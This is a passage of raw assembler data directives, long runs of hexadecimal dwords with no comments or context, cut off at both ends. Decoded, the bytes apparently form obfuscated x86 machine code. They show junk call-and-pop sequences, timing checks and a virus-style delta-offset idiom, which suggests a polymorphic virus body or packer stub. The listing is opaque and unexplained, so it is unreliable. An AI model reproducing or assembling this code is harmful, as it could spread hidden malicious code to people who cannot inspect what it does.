0E9093526h, 19Ah, 21C9BD8Bh, 858B0935h dd 938B767h, 1B800Fh, 89600000h, 35267D9Dh, 0EE909h, 54270000h dd 53DF443h, 2B8CC93Fh, 0EF1BAD26h, 1800C761h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 755EC355h, 1545DB8Dh, 8B66962Dh, 0B58BF8D9h dd 938B76Bh, 7CC78166h, 0D5858B96h, 0B7093524h, 20C38164h dd 89362615h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 8B812A59h, 352B6185h, 57006A09h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 37F8DB9Ah, 419D03F7h, 89093516h, 81660446h, 180DBF3h dd 350A218Dh, 0B0BF9609h, 5073D630h, 8B525052h, 66310FDEh dd 585AF98Bh, 6A965Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 0BB304DC3h, 30A99509h, 0B5FF0935h dd 938B767h, 2BC59D8Bh, 55680935h, 663A23AAh, 3481FA8Bh dd 3CA9AA24h, 51006A3Ah, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 0BE2F6E49h, 66CF6F56h, 858DFB8Bh dd 938B76Fh, 14E9h, 4BDB2B00h, 4BC78450h, 3D78630Ch, 436134E1h dd 0A9630B73h, 50509004h, 0B12B51BBh, 89905F3Fh, 350E71BDh dd 0DD95FF09h, 6A09350Ch, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 0FDFC356h, 6A61FEBFh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 8FA9C351h, 8B520CECh, 5585C7FEh, 3093522h dd 8B000000h, 350409BDh, 0DDBD8B09h, 83093505h, 38B76FBDh dd 840F0009h, 26h, 6E8h, 5CB57C00h, 89E7E8CAh, 352609B5h dd 2AE95F09h, 0E9000000h, 0Ah, 805A23F5h, 0DAA6F02Fh, 30502CE4h dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 0F4ECBFC0h, 6660503Ah, 46E2DE81h, 1BFD8D01h, 83610935h dd 352255BDh, 850F0309h, 3F8h, 0B76FBD83h, 0F000938h, 3EB84h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 697389C4h, 922452D3h, 0BBBFEA06h, 0FF45C2F1h dd 38B76FB5h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 89C88842h, 61E515Fh, 2E1195FFh, 6BF0935h dd 8B1072E0h, 350269BDh, 63B58B09h, 6A0938B7h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 8013C357h, 6C7F6EEh, 10001h, 60500BB3h, 2830Fh, 5B560000h dd 5840Fh, 0D4BE0000h, 6164402Fh, 6A243489h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 3D2CC351h, 0A296E20Dh, 0DA8B662Ah, 0B76FB5FFh, 6A0938h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 37621DC3h, 8995FF01h, 8B093502h, 38B763B5h, 57006A09h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 898DAE5Eh, 353315B5h, 99858B09h, 6A09350Eh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 0F4C6C351h, 0FBAE64D6h, 89035939h, 0C486h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 3870F96h, 66000000h, 958BF88Bh, 9351629h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 16C35545h, 0FDDF27AAh dd 8B04C283h, 353041BDh, 20508909h, 5E9h, 9386EF00h, 858DCDE9h dd 938CC07h, 0AE9h, 1FE0ED00h, 96CACA76h, 8925B8FAh dd 0B886h, 55853100h, 0F09352Eh, 6AF8BFh, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Bh, 22C35747h, 0DE44CA10h dd 0FF627C48h, 38B76FB5h, 52006A09h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0BE0284EDh dd 0B589BF33h, 935245Dh, 115195FFh, 6A0935h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 58D10FC3h dd 3113E4DFh, 0C19D8B16h, 5009350Ah, 0CB8B6660h, 50FA8B60h dd 5A310F52h, 89616158h, 13E82434h, 54000000h, 7B759478h dd 0C95CA2C8h, 686906B3h, 960D29CDh, 8A0F34DBh, 2, 0FF5F6160h dd 38B76FB5h, 0FFD88B09h, 350B5595h, 56006A09h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0FD15D0Dh dd 0C82h, 68A0F00h, 8B000000h, 351BF5BDh, 79BD8309h, 93500h dd 3E840Fh, 0F88B0000h, 0DE8B6696h, 0D7FDBF50h, 6A963F71h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 2D7BC356h, 0E995AAECh, 0Ch, 4D7FBA8Fh, 0BC945135h dd 0BD5B9496h, 0B76FB5FFh, 6A0938h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 722EEAC3h dd 0CBE05984h, 81E38166h, 3595FF6Bh, 0FF09351Ch, 38B76FB5h dd 0FFA6B709h, 352CE595h, 319D8B09h, 8309351Dh, 3526BDBDh dd 840F0209h, 74h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 0C8C35545h, 858B6EB1h, 93526ADh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 69C35343h, 0E81FB27Ah dd 1749B529h, 0C60935h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 5820FD5h, 66000000h, 6DBFE781h dd 326585C7h, 935h, 0DA8A0000h, 0FFF494E9h, 51006AFFh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 0E8A1D0C5h, 899B9F84h, 352AB58Dh, 0E9C18B09h, 14h, 0A0030769h dd 632AB32Dh, 2EF322BEh, 0D1910119h, 0EE3D7FEAh, 2659858Dh dd 6A0935h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 3929B1C3h, 5DF3674Fh, 905B56A7h, 33F686BFh dd 0E8905076h, 0Eh, 0C5D82E70h, 0C0D07E66h, 69056FECh dd 0BD8BD4ADh, 935226Dh, 959D295Bh, 6A093516h, 959D8B00h dd 6A09350Bh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 48ED0D36h, 13858D25h, 290939A3h dd 3527C195h, 0D5B26009h, 6860Fh, 95890000h, 9351F75h dd 5C08361h, 0D98B6650h, 8B240489h, 35122DBDh, 6A006A09h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 3AF0C350h, 0A64A200Ch, 3880Fh, 0D7800000h dd 699D29A5h, 6A093529h, 0EE900h, 85BC0000h, 2400D289h dd 0CA2E7248h, 4F4BC92h, 33195FFh, 6A0935h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0D10B49C3h dd 532865Ch, 719D093Eh, 8D093503h, 389AAB8Dh, 6AD1FF09h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 2DECC356h, 89605047h, 3526A585h, 0A2BE6609h dd 8B5F610Fh, 352FF99Dh, 19BD8309h, 109351Ch, 47850Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 0DA0068C3h, 2C25843Eh, 50FC026Ah, 8B240489h dd 3533059Dh, 5195FF09h, 0F093511h, 681h, 6DBD2B00h, 81093523h dd 5584B4C3h, 0E24E930h, 0E80000h, 5D000000h, 0A31DED81h dd 6A0939h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 0B8502FC3h, 7D24D3FBh, 0F34BBB66h, 932B858Dh dd 0BD290938h, 9353081h, 12E990h, 11720000h, 54E1DD72h dd 0FB40F795h, 6837539Bh, 0F74023FBh, 0BBB6650h, 0BB6690E3h dd 0FF64ED8Dh, 35h, 84BF6600h, 25896432h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 38C35343h dd 5B5311Ch, 0FF09351Eh, 35300985h, 9DBD8B09h, 6A093510h dd 0AD9D89FFh, 0FF093516h, 352B11B5h, 55006A09h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0EAFCCF2Ah, 8B53F7FCh, 352FEDBDh, 0BD895B09h, 9350F7Dh dd 2EB995FFh, 0FFE90935h, 0E9000000h, 12h, 0BE9616CCh dd 497DA17Fh, 359D2101h, 10568921h, 0B0B71Eh, 2E19D89h dd 70E60935h, 8171E4F9h, 0C80AD7DBh, 0F613C26h, 0CD83h dd 0EE800h, 0AE320000h, 0F70187B9h, 0CA14398Ch, 0E17A7E30h dd 1D9D9D8Bh, 0F5B0935h, 9D29C8B6h, 9352599h, 6BAF8h, 0B70F0000h dd 60C18BD9h, 0BE9h, 60A95700h, 0E382E5A8h, 97E67E04h dd 0FCDB589h, 0C1610935h, 3FBF04E8h, 667DB96Dh, 9D01E2F7h dd 9350089h, 0D18BC82Bh, 0E9BCDF80h, 8, 0C7815B56h, 3E78A5E7h dd 2F1D858Bh, 83F90935h, 8D8907C0h, 93524F5h, 0F00C083h dd 686h, 659D8B00h, 3B09350Ah, 0E830FD0h, 23000000h, 35027DBDh dd 30E909h, 0B70F0000h, 1D8D8BDAh, 31093510h, 35234D8Dh dd 1E18309h, 18840Fh, 0A5830000h, 935101Dh, 1D9589FEh dd 8B09352Fh, 3505419Dh, 0E909h, 0B58D0000h, 9391877h dd 6AFAB70Fh, 0FE900h, 7A2F0000h, 47BCF338h, 0F48AF105h dd 297F76BAh, 2995FFCFh, 8B093508h, 3505E1BDh, 7DEB909h dd 0DF8B0000h, 6AFCE183h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0B98C352h, 0DF816616h dd 6AFC3B95h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 0CF9CC350h, 9559D35Eh, 756D6B1Ah dd 0DB59D01h, 0BF660935h, 0B82D5Bh, 0F000000h, 580h, 8B665000h dd 0BA5BD8h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 0F92C355h, 38Dh, 0DBB70F00h dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 6ADBBF0Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 0F19DC351h, 1B15BD09h, 0EE90935h, 0F3000000h, 0BE89590Fh dd 5B1AA508h, 72BA388Bh, 880DB8h, 9D8B0000h, 9350B75h dd 1629958Bh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 8909E4C3h, 351759BDh, 0EC34BF09h dd 8D8B578Dh, 935287Dh, 2779BD8Bh, 8B500935h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 58C35545h, 57773E1Fh, 2810Fh dd 5B500000h, 9589605Bh, 93510A5h, 7E9h, 48470900h, 0D4A6D23Fh dd 959D0961h, 83093529h, 351249BDh, 840F0009h, 6Ah, 0B8FBBF0Fh dd 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 83C35343h dd 4C028D8Dh, 6A0935h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 1970CAC3h, 0E1783763h, 9E8B3E9h dd 36000000h, 608250F9h, 424A74CBh, 0E1DB8166h, 0E1FF5B65h dd 319D8D31h, 0BD830935h, 9352255h, 0CA840F00h, 89000004h dd 35316D9Dh, 55BD8309h, 1093522h, 4D2840Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 22B522C3h, 4CF594F8h, 0BD83FC8Ch, 9352255h, 6B860F03h dd 6A000004h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 6F87C355h, 29001B6h, 151BD31h dd 95890935h, 9350BC1h, 12E860h, 52980000h, 7DBB918Bh dd 2A4E9E6Bh, 0B7659E30h, 5089632Bh, 0FE9h, 6C0CA600h dd 0A5125249h, 6D7A721Ch, 0D44EA00Eh, 0D98C665Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0BAC35646h, 0EE40E43Eh dd 580EBF66h, 6A04E180h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 907AC352h, 8166E025h dd 0A8F28DBh, 0E0840FC9h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0E7B0C356h dd 0BFC67BBBh, 2BC5BD03h, 858B0935h, 9352B61h, 6E9h, 24C34500h dd 3374AF2Dh, 350D7D85h, 6E85709h, 9D000000h, 40BD5F05h dd 22BF6601h, 505B5B08h, 0D8FD21BBh, 24048922h, 13F1E781h dd 860F1E94h, 3, 6ADF8B66h, 399D2B00h, 6809350Bh, 67CCAD09h dd 3481DA8Bh, 0D3AEF624h, 57006A67h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0FF54B425h dd 350CDD95h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 216B7E03h, 0EBDFA567h, 0F98B2FC6h dd 0B76F8589h, 0C7810938h, 0B92EE36h, 226E9h, 0BDBD8900h dd 8B09350Eh, 38B76785h, 0BD9D0B09h, 0C7093531h, 1800h dd 0CDB58900h, 8B09350Fh, 38B76BB5h, 52006A09h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 4212F17Dh dd 24D5858Bh, 6A0935h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 8F0F1C3h, 8D10FB57h, 0CEB8BF48h dd 68954B4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 79C35747h, 0E130B43h, 0FE9E66Eh, 86000000h, 0A7A37A30h dd 210CF12Fh, 0F8B6042h, 9589F981h, 9351179h, 2B61858Bh dd 6A0935h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 8102D7C3h, 0CFD090E3h, 0C0BB1Fh, 46894D6Ch dd 50FA8B04h, 85BF6660h, 13E960C5h, 67000000h, 0D2258A18h dd 0B3D71224h, 0F1A579D4h, 2324692Ah, 61605CFBh, 34896161h dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 77816598h, 24A44B3Fh, 0C800F3Ch, 0E9000000h dd 7, 0B2E4A0C4h, 0FF8D40D9h, 38B767B5h, 56006A09h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0F258EBAh, 2268FAB7h, 6052DCD6h, 2820Fh, 0F78B0000h dd 0D024BB66h, 24348161h, 52C3D5DDh, 6919D89h, 858D0935h dd 938B76Fh, 2E55BD8Bh, 50900935h, 0B8C0F52h, 0E8000000h dd 5, 0AC1AFCDFh, 310F5F06h, 5ADA8B66h, 0BB665058h, 6A90A062h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 51E9C351h, 0B5318060h, 9351F1Dh, 15810Fh dd 10E90000h, 97000000h, 623E902Dh, 638C019Ah, 82716FF8h dd 0FFFED7F7h, 350CDD95h, 51006A09h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 26198D93h dd 8BFFA733h, 350F799Dh, 399D8B09h, 61093522h, 7E9h, 59CC3E00h dd 0EEBABC18h, 225585C7h, 30935h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 8CD936C3h dd 17B3355Bh, 0B76FBD83h, 0F000938h, 7584h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0FCFD71Eh, 0D8Ah, 8E900h, 0E0B30000h, 0A1C94AE5h, 8E81C27h dd 0CA000000h, 0C26E1225h, 29F358C5h, 3503B59Dh, 46E95B09h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 0DB0FC355h, 219D8960h, 89093505h dd 35286DBDh, 30506109h, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 9650ED45h, 0EC1672C0h dd 81662D65h, 6A2AB2CBh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 5BD8C353h, 831C80F1h dd 352255BDh, 850F0309h, 4AEh, 2E6DBD8Bh, 0BD830935h, 938B76Fh dd 9B840F00h, 6A000004h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 81ACC357h, 771A80CFh dd 6FB5FF70h, 6A0938B7h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 3BE4C355h, 0F037CB91h dd 0C1D0A59Eh, 5EF78166h, 1195FF53h, 6A09352Eh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 8884C353h, 2C072CCAh, 0E40C3E92h, 2F3D8509h, 850F0935h dd 5, 75AF8FBFh, 63B58B50h, 0C70938B7h, 1000106h, 66605300h dd 0ACCCE781h, 0F79B509h, 5F610935h, 6E996h, 95530000h dd 4834821Ch, 9630B350h, 0B5FFFE8Bh, 938B76Fh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 8AC35646h, 0EAEC132h dd 0FE8B66A3h, 28995FFh, 6A0935h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 880F92C3h, 1, 519D23F8h dd 8B09350Bh, 38B763B5h, 9CBB6609h, 99858B00h, 6A09350Eh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 0E9C4C356h, 11h, 0F6500DEBh, 8384CC9Bh, 8C1043Ch dd 0ABE523CEh, 0DF81608Fh, 41C01B77h, 0C4868961h, 0E9000000h dd 13h, 0D584EEFEh, 0BD181080h, 39CD7813h, 67A3BA6Bh, 8BAB2107h dd 35162995h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 5D94C0E8h, 8B66F612h, 4C283F9h, 5800Fh dd 81660000h, 89EADBEBh, 6A2050h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 3A4924C3h, 89A4CCBBh dd 3521B19Dh, 0D7816609h, 858D7F83h, 938CC07h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 54C35545h, 48AF71F2h dd 8531A097h, 0B88689h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h dd 170424h, 51410000h, 77865BC3h, 0E1BD0BAAh, 0F093505h dd 87h, 6A006A00h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 5E4CC352h, 2F9D03F2h, 0B5FFF5B7h dd 938B76Fh, 11A98531h, 0F3810935h, 6590F435h, 115195FFh dd 96F50935h, 12E8h, 297ED100h, 0D1FCAC18h, 0A7DA7B2Fh dd 0AAD7D37Ch, 60D2CA6Eh, 5B615E53h, 158B0F50h, 0E9000000h dd 10h, 8C34A6B2h, 5D0F17A4h, 4574CCEBh, 601B50A8h, 6FB5FF96h dd 6A0938B7h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 0DCEDC352h, 0B29BEC8Ch, 12E9C776h dd 0E9000000h, 43918307h, 1A62BEA3h, 734F8552h, 0D2434AD7h dd 5595FF22h, 6A09350Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0B8A8C356h, 243FAE3h dd 83DE8B66h, 350079BDh, 840F0009h, 27h, 1CE98589h, 50960935h dd 5A310F52h, 2DBF5058h, 9620704Fh, 0EE9h, 0D2DB6400h dd 0E4CBF04Ah, 0E611DE3Fh, 0FFF357F0h, 38B76FB5h, 52006A09h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0FF333A91h, 351C3595h, 57006A09h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 6CC8F5F8h dd 0D0695EE5h, 0B5FF2EC5h, 938B76Fh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 0FDC35040h, 3B687724h, 0E8E0Fh dd 9E90000h, 0AF000000h, 0A8DEA475h, 0EA17D9C3h, 2CE595FFh dd 0FE90935h, 0F2000000h, 0AB80F677h, 7E0C58D8h, 0CBB8403Eh dd 0BD83E1ACh, 93526BDh, 58840F02h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 0FDBDC355h, 79BD8B9Fh, 0F09350Fh, 858BFFBFh, 93526ADh dd 0C6F88B66h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0E3DDFC3h, 518D89F0h, 0C7093501h dd 35326585h, 9, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 2EB20379h, 958B600Ah dd 9350A21h, 8E9h, 0DFE30B00h, 0D7A1299h, 88E96169h, 60FFFFF2h dd 0C18B61FCh, 12359D8Bh, 858D0935h, 9352659h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 42C35646h, 2C75BD89h dd 9D8B0935h, 9351D61h, 5E850h, 0E60C0000h, 0BF423245h dd 110508E6h, 2404895Bh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 9EC35040h, 0E8BB2611h, 517A4EEEh, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 20AF19C3h, 0C09A3B17h, 0A65BD8Bh, 29F50935h, 351029BDh dd 89006A09h, 350811BDh, 6890F09h, 29000000h, 353305BDh dd 5D858D09h, 0F0939B3h, 68Bh, 19BD8B00h, 8309352Eh, 8B6605C0h dd 890F50F8h, 16h, 0DE8h, 0B89D2200h, 128CDA3Eh, 545CB6Fh dd 8B666377h, 4895FDFh, 41BD0324h, 6A09352Fh, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 319D8B31h, 6A093508h, 0AE900h, 0D4C30000h, 15D5E389h dd 0C57E557Dh, 33195FFh, 6A0935h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 0C9B553C3h, 0BDB5011Ah dd 8D09352Fh, 389AAB8Dh, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 0E559034Eh, 0A7904CB9h dd 6AD1FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 8350E0C3h, 0A1A9E6E8h, 1C19BD83h, 0F010935h dd 7E85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 2D8E32D9h, 0A1A217C1h, 6AD88B4Ah dd 0E7816602h, 0E85098ECh, 14h, 0C106DBF8h, 8C2433Ah, 0F86549B9h dd 0B503811h, 1CA13CCEh, 38C0Fh, 8B660000h, 4895BF9h, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 95FF47ACh, 9351151h, 1880Fh, 0E9FC0000h, 0E8Ch, 0E8h dd 0ED815D00h, 939B367h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0FEC35040h, 95BD2B91h, 6A093511h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 778C356h, 1680AB68h, 15DBD89h, 858D0935h, 938932Bh dd 9E8h, 0C6AD3300h, 0D51B4309h, 8B66F01Dh, 50905FF9h dd 6A905DB7h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 96DC351h, 35FF64h, 66000000h dd 64191FBBh, 2589h, 9D230000h, 9351C05h, 300985FFh, 6A0935h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0A6AD13C3h, 3E9F81BDh, 0BD0B23F7h, 93511C9h, 0B5FFFF6Ah dd 9352BF5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 0F3C35545h, 7861BBE5h, 0D381661Bh, 95FF34E6h, 9352EB9h dd 10EE9h, 5E900h, 39380000h, 0E88A7D68h, 13h, 3AAF936Ch dd 0AC54B2A1h, 82D82538h, 1F581198h, 31D2773Eh, 3506C19Dh dd 0B05F09h, 0E6DBB70Fh, 0F5C1BB70h, 71E42B76h, 3850Fh dd 8B660000h, 0F613CD8h, 0C683h, 11BD2900h, 0B7093530h dd 0C8B60F7Ah, 6BAF9h, 850F0000h, 6, 1F499D03h, 0C18B0935h dd 0CA2DF381h, 0E8C17E14h, 8D0F04h, 66000000h, 8501E2F7h dd 93526F1h, 0B70FC82Bh, 4DB529FAh, 8B09352Eh, 798501D1h dd 0E9093501h, 0Bh, 58E0Fh, 81660000h, 8B8795C7h, 3528D985h dd 0A19D8B09h, 8309351Bh, 9D8907C0h, 9352DD5h, 6600C083h dd 0D03BFB8Bh, 17830Fh, 0BD890000h, 9350469h, 3EE9h, 0D59D8B00h dd 8B093526h, 3527F19Dh, 0D18D8B09h, 0B3093516h, 1E1835Ah dd 21840Fh, 0D7800000h, 0D1A58377h, 0FE093516h, 2335CB81h dd 95897471h, 93528D9h, 2A5D8D89h, 0E90935h, 8D000000h dd 392220B5h, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 0B77ADC93h, 13E1B529h, 6A0935h, 0FFD88B66h dd 35082995h, 0EBBB6609h, 8C0B9B5h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 811592C3h dd 94625DC7h, 0FCE18370h, 1041BD33h, 0CB810935h, 267DBF53h dd 51006AFCh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 0DB816666h, 0BD8B6CB4h, 9351DE9h, 0B8h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 63FF1914h, 0B30FD5FDh, 0EF816617h, 0BA7BF0h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 0F840C355h, 6AEEACA2h, 8B8C46B7h dd 0C233ADD9h, 0D003E8D1h, 7504E983h, 0EE9F4h, 0F3240000h dd 2BDAA768h, 0B82A8604h, 0D8F588F5h, 0BDBD0953h, 5B09352Ch dd 880Dh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h dd 0C3564600h, 5A44D694h, 393F35FBh, 0CF8B6660h, 0D2D08166h dd 958B6190h, 9351629h, 0ECB8166h, 7D8D8BFEh, 89093528h dd 3512A1B5h, 0C28B5009h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 6A58188Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0EED8C352h, 13E9h, 0EB59D100h dd 6CEF46A8h, 2A1658A2h, 62B17468h, 8325BC3h, 1249BD83h dd 0F000935h, 9684h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 0D6A6F456h, 7F498BFh dd 0B86Eh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 9D8B6AC3h, 93522A1h, 4C028D8Dh dd 9E80935h, 0B3000000h, 2FD0B3h, 3E64669Bh, 238D9D33h dd 665F0935h, 0FFC2E4BBh, 52006AE1h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 945FA69Fh dd 0CDB99BBh, 5D85892Bh, 8309352Eh, 352255BDh, 840F0009h dd 4AEh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0C4C35141h, 3B6A1A0Ah, 0C7814BEFh, 5CDEC1D3h, 2255BD83h dd 0F010935h, 49484h, 2FBF6600h, 55BD8391h, 3093522h, 44D860Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 6A7D4C3h, 0AE9D5h, 0A1E40000h, 4AA4A134h dd 0D8053C92h, 45BF6660h, 0D98C66F3h, 0E852006Ah, 3, 5AC35A20h dd 